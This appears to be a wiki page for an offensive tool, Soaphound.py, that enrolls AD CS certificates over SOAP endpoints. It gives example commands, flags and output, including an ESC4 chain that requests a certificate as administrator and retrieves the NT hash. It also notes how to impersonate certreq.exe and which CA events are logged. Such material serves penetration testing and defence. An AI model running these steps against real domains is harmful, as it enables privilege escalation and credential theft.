Skip to content

AD CS Enrollment

belettetimoree edited this page Nov 1, 2026 · 1 revision

AD CS Enrollment over SOAP (MS-XCEP + MS-WSTEP)

Soaphound.py performs full certificate enrollment against an Enterprise CA through SOAP endpoints over HTTPS, with no DCOM and no reliance on the legacy ADCS MMC interfaces. Two Microsoft specifications are involved:

  • [MS-XCEP] — X.509 Certificate Enrollment Policy Protocol. Discovers which templates the caller may request and from which CA. Invoked method: GetPolicies.
  • [MS-WSTEP] — WS-Trust Enrollment Extensions. Submits a PKCS#10 CSR and receives a signed certificate. Invoked method: RequestSecurityToken (RST).

Authentication is Kerberos (SPNEGO / Negotiate). Soaphound.py obtains a TGT inline through impacket's getKerberosTGT and reuses it to authenticate the HTTPS session, so no kinit is required on the attacker host.

CLI Flags

Flag Purpose
--list-policies-ws Call MS-XCEP GetPolicies. Prints the templates visible to the caller, their OIDs, the minimum key size, and the CA bundle with CES URL(s).
--enroll-ws Call MS-WSTEP RequestSecurityToken. Issues a certificate and writes a 0600 PFX.
--ca CA_NAME Short name of the Enterprise CA. Used to derive CEP and CES URLs when not supplied explicitly.
--template NAME Certificate template short name. Case-sensitive match against the name returned by --list-policies-ws.
--upn UPN Target UPN written to the CSR's SAN otherName (OID 1.3.6.1.4.1.311.20.2.3). Required with --enroll-ws.
--out PATH PFX output path, written with mode 0600.
--cep-url URL Override MS-XCEP endpoint URL.
--ces-url URL Override MS-WSTEP CES endpoint URL.
--insecure-ssl Skip TLS verification. Lab use only.
--user-agent UA Override the User-Agent sent on CEP/WSTEP requests. Default matches certreq.exe.
--auth-dc IP_OR_FQDN Chain certipy auth after a successful --enroll-ws to retrieve the NT hash. Requires certipy in PATH.

1. Discovery — GetPolicies

soaphound -u alice -p 'Password123!' -d corp.local \
          -dc dc01.corp.local -dc-ip 10.0.0.10 \
          --list-policies-ws --ca corp-CA --insecure-ssl

Example output:

[*] Target CEP endpoint: https://dc01.corp.local/ADPolicyProvider_CEP_Kerberos/service.svc/CEP
[*] GetPolicies response — PolicyID: {CBB-2E57-...}
[*] CA bundle:
    - Name: corp-CA
      CES: https://dc01.corp.local/corp-CA_CES_Kerberos/service.svc/CES

Templates (12 visible to alice@corp.local):

  Name                     | OID                                   | KeySize | Enroll
  -------------------------+---------------------------------------+---------+-------
  User                     | 1.3.6.1.4.1.311.21.8.xxx.1            | 2048    | yes
  Machine                  | 1.3.6.1.4.1.311.21.8.xxx.2            | 2048    | no
  WebServer                | 1.3.6.1.4.1.311.21.8.xxx.3            | 2048    | no
  VulnTpl                  | 1.3.6.1.4.1.311.21.8.xxx.42           | 2048    | yes  <-- SAN-settable

The _Kerberos suffix on the service URL path is the Microsoft convention for Negotiate-protected CEP/CES endpoints. A matching _UsernamePassword path exists on CAs that opt into basic auth; Soaphound.py always targets the Kerberos one.

2. Enrollment — RequestSecurityToken

soaphound -u alice -p 'Password123!' -d corp.local \
          -dc dc01.corp.local -dc-ip 10.0.0.10 \
          --enroll-ws --ca corp-CA --template User \
          --upn alice@corp.local \
          --out /tmp/alice.pfx --insecure-ssl

Inspect the PFX:

openssl pkcs12 -in /tmp/alice.pfx -nokeys -passin pass: 2>/dev/null | \
    openssl x509 -noout -subject -issuer -ext subjectAltName

3. Full ESC4 Chain

See Playbook: ESC4. Overview: --cert-find → weaponize (one attribute flip) → --enroll-ws --upn administrator@<domain> → --auth-dc <dc-ip>.

OpSec Notes

  • All traffic for this feature is HTTPS to TCP/443 on the CA host.
  • Successful enrollment generates events 4886, 4887, 4899 on the CA.
  • Default User-Agent impersonates certreq.exe.
  • Kerberos clock skew: within 5 minutes of the DC, otherwise KRB_AP_ERR_SKEW.

Troubleshooting

Symptom Cause Fix
KRB_AP_ERR_SKEW Clock drift sudo ntpdate -u <dc-ip>
Template '<x>' not found via MS-XCEP Case mismatch Use exact capitalization
--enroll-ws requires --upn Missing SAN target Add --upn <upn>
HTTPS 401 on CES Lacks Enroll on template Verify ACLs via --cert-find

References

Clone this wiki locally